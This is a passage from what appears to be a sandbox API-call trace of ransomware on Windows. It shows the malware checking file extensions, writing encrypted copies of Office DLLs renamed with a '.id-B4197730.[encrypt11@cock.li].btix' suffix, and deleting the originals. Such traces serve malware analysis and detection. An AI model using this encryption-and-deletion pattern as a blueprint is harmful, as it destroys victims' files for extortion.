[0156.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.363] lstrlenW (lpString=".xls") returned 4 [0156.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.363] lstrlenW (lpString=".xlsx") returned 5 [0156.363] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.363] lstrlenW (lpString=".ppt") returned 4 [0156.363] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.363] lstrlenW (lpString=".zip") returned 4 [0156.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.363] lstrlenW (lpString=".rar") returned 4 [0156.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.363] lstrlenW (lpString=".bz2") returned 4 [0156.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.364] lstrlenW (lpString=".7z") returned 3 [0156.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.364] lstrlenW (lpString=".dbf") returned 4 [0156.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.364] lstrlenW (lpString=".1cd") returned 4 [0156.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.364] lstrlenW (lpString=".jpg") returned 4 [0156.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.364] lstrlenW (lpString=".doc") returned 4 [0156.364] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.364] lstrlenW (lpString=".docx") returned 5 [0156.364] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.364] lstrlenW (lpString=".pdf") returned 4 [0156.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.364] lstrlenW (lpString=".xls") returned 4 [0156.364] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.364] lstrlenW (lpString=".xlsx") returned 5 [0156.364] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.364] lstrlenW (lpString=".ppt") returned 4 [0156.364] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.364] lstrlenW (lpString=".zip") returned 4 [0156.364] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.365] lstrlenW (lpString=".rar") returned 4 [0156.365] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.365] lstrlenW (lpString=".bz2") returned 4 [0156.365] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.365] lstrlenW (lpString=".7z") returned 3 [0156.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.365] lstrlenW (lpString=".dbf") returned 4 [0156.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.365] lstrlenW (lpString=".1cd") returned 4 [0156.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.365] lstrlenW (lpString=".jpg") returned 4 [0156.365] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.365] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.365] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0156.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.556] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=18624) returned 1 [0156.556] CloseHandle (hObject=0x33c) returned 1 [0156.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0156.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.852] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.852] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.946] GetLastError () returned 0x0 [0156.946] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0156.948] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0156.949] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.949] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x112, lpOverlapped=0x0) returned 1 [0156.949] SetEndOfFile (hFile=0x390) returned 1 [0156.949] CloseHandle (hObject=0x390) returned 1 [0156.949] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.949] SetEndOfFile (hFile=0x34c) returned 1 [0156.950] CloseHandle (hObject=0x34c) returned 1 [0156.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.951] lstrlenW (lpString=".doc") returned 4 [0156.951] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.951] lstrlenW (lpString=".docx") returned 5 [0156.951] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.951] lstrlenW (lpString=".pdf") returned 4 [0156.951] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.951] lstrlenW (lpString=".xls") returned 4 [0156.951] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.951] lstrlenW (lpString=".xlsx") returned 5 [0156.951] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.951] lstrlenW (lpString=".ppt") returned 4 [0156.951] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.951] lstrlenW (lpString=".zip") returned 4 [0156.951] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.951] lstrlenW (lpString=".rar") returned 4 [0156.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.951] lstrlenW (lpString=".bz2") returned 4 [0156.951] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.951] lstrlenW (lpString=".7z") returned 3 [0156.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.951] lstrlenW (lpString=".dbf") returned 4 [0156.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.952] lstrlenW (lpString=".1cd") returned 4 [0156.952] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.952] lstrlenW (lpString=".jpg") returned 4 [0156.952] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.952] lstrlenW (lpString=".doc") returned 4 [0156.952] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.952] lstrlenW (lpString=".docx") returned 5 [0156.952] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.952] lstrlenW (lpString=".pdf") returned 4 [0156.952] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.952] lstrlenW (lpString=".xls") returned 4 [0156.952] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.952] lstrlenW (lpString=".xlsx") returned 5 [0156.952] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.952] lstrlenW (lpString=".ppt") returned 4 [0156.952] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.952] lstrlenW (lpString=".zip") returned 4 [0156.952] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.952] lstrlenW (lpString=".rar") returned 4 [0156.952] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.952] lstrlenW (lpString=".bz2") returned 4 [0156.952] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.952] lstrlenW (lpString=".7z") returned 3 [0156.952] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.952] lstrlenW (lpString=".dbf") returned 4 [0156.952] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.952] lstrlenW (lpString=".1cd") returned 4 [0156.952] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0156.953] lstrlenW (lpString=".jpg") returned 4 [0156.953] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.953] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.953] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0156.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.953] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=27840) returned 1 [0156.953] CloseHandle (hObject=0x34c) returned 1 [0156.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0156.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.953] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.954] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.954] GetLastError () returned 0x0 [0156.954] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0156.956] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0156.957] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.957] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x110, lpOverlapped=0x0) returned 1 [0156.957] SetEndOfFile (hFile=0x390) returned 1 [0156.957] CloseHandle (hObject=0x390) returned 1 [0156.957] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.957] SetEndOfFile (hFile=0x34c) returned 1 [0156.958] CloseHandle (hObject=0x34c) returned 1 [0156.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0156.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.958] lstrlenW (lpString=".doc") returned 4 [0156.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.958] lstrlenW (lpString=".docx") returned 5 [0156.958] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.959] lstrlenW (lpString=".pdf") returned 4 [0156.959] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.959] lstrlenW (lpString=".xls") returned 4 [0156.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.959] lstrlenW (lpString=".xlsx") returned 5 [0156.959] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.959] lstrlenW (lpString=".ppt") returned 4 [0156.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.959] lstrlenW (lpString=".zip") returned 4 [0156.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.959] lstrlenW (lpString=".rar") returned 4 [0156.959] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.959] lstrlenW (lpString=".bz2") returned 4 [0156.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.959] lstrlenW (lpString=".7z") returned 3 [0156.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.959] lstrlenW (lpString=".dbf") returned 4 [0156.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.959] lstrlenW (lpString=".1cd") returned 4 [0156.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.959] lstrlenW (lpString=".jpg") returned 4 [0156.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.959] lstrlenW (lpString=".doc") returned 4 [0156.959] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.959] lstrlenW (lpString=".docx") returned 5 [0156.959] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.959] lstrlenW (lpString=".pdf") returned 4 [0156.960] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.960] lstrlenW (lpString=".xls") returned 4 [0156.960] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.960] lstrlenW (lpString=".xlsx") returned 5 [0156.960] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.960] lstrlenW (lpString=".ppt") returned 4 [0156.960] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.960] lstrlenW (lpString=".zip") returned 4 [0156.960] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.960] lstrlenW (lpString=".rar") returned 4 [0156.960] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.960] lstrlenW (lpString=".bz2") returned 4 [0156.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.960] lstrlenW (lpString=".7z") returned 3 [0156.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.960] lstrlenW (lpString=".dbf") returned 4 [0156.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.960] lstrlenW (lpString=".1cd") returned 4 [0156.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0156.960] lstrlenW (lpString=".jpg") returned 4 [0156.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.960] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.960] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0156.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.961] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=26816) returned 1 [0156.961] CloseHandle (hObject=0x34c) returned 1 [0156.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0156.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0156.961] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.961] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.961] GetLastError () returned 0x0 [0156.962] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x68c0, lpOverlapped=0x0) returned 1 [0156.963] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x68d0, lpOverlapped=0x0) returned 1 [0156.964] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.964] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x11a, lpOverlapped=0x0) returned 1 [0156.965] SetEndOfFile (hFile=0x390) returned 1 [0156.965] CloseHandle (hObject=0x390) returned 1 [0156.965] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.965] SetEndOfFile (hFile=0x34c) returned 1 [0156.966] CloseHandle (hObject=0x34c) returned 1 [0156.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0156.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0156.966] lstrlenW (lpString=".doc") returned 4 [0156.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.966] lstrlenW (lpString=".docx") returned 5 [0156.966] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.966] lstrlenW (lpString=".pdf") returned 4 [0156.966] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.966] lstrlenW (lpString=".xls") returned 4 [0156.966] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.966] lstrlenW (lpString=".xlsx") returned 5 [0156.966] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.966] lstrlenW (lpString=".ppt") returned 4 [0156.966] lstrcmpiW (lpString1=".ppt", lpString2=".dll") 